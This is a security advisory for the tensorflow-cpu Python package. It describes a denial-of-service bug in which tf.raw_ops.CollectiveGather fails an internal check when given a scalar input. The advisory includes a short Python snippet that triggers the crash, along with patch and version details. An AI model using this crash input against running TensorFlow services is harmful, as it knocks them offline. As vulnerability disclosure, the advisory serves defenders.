PT-2026-59934 · Pypi · Tensorflow-Cpu
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
When
CollectiveGather receives an scalar input input, it gives a CHECK fails that can be used to trigger a denial of service attack.python
import tensorflow as tf
arg 0=1
arg 1=1
arg 2=1
arg 3=1
arg 4=(3, 3,3)
arg 5='auto'
arg 6=0
arg 7=''
tf.raw ops.CollectiveGather(input=arg 0, group size=arg 1, group key=arg 2,
instance key=arg 3, shape=arg 4,
communication hint=arg 5, timeout seconds=arg 6, name=arg 7)Patches
We have patched the issue in GitHub commit c1f491817dec39a26be3c574e86a88c30f3c4770.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Tensorflow-Cpu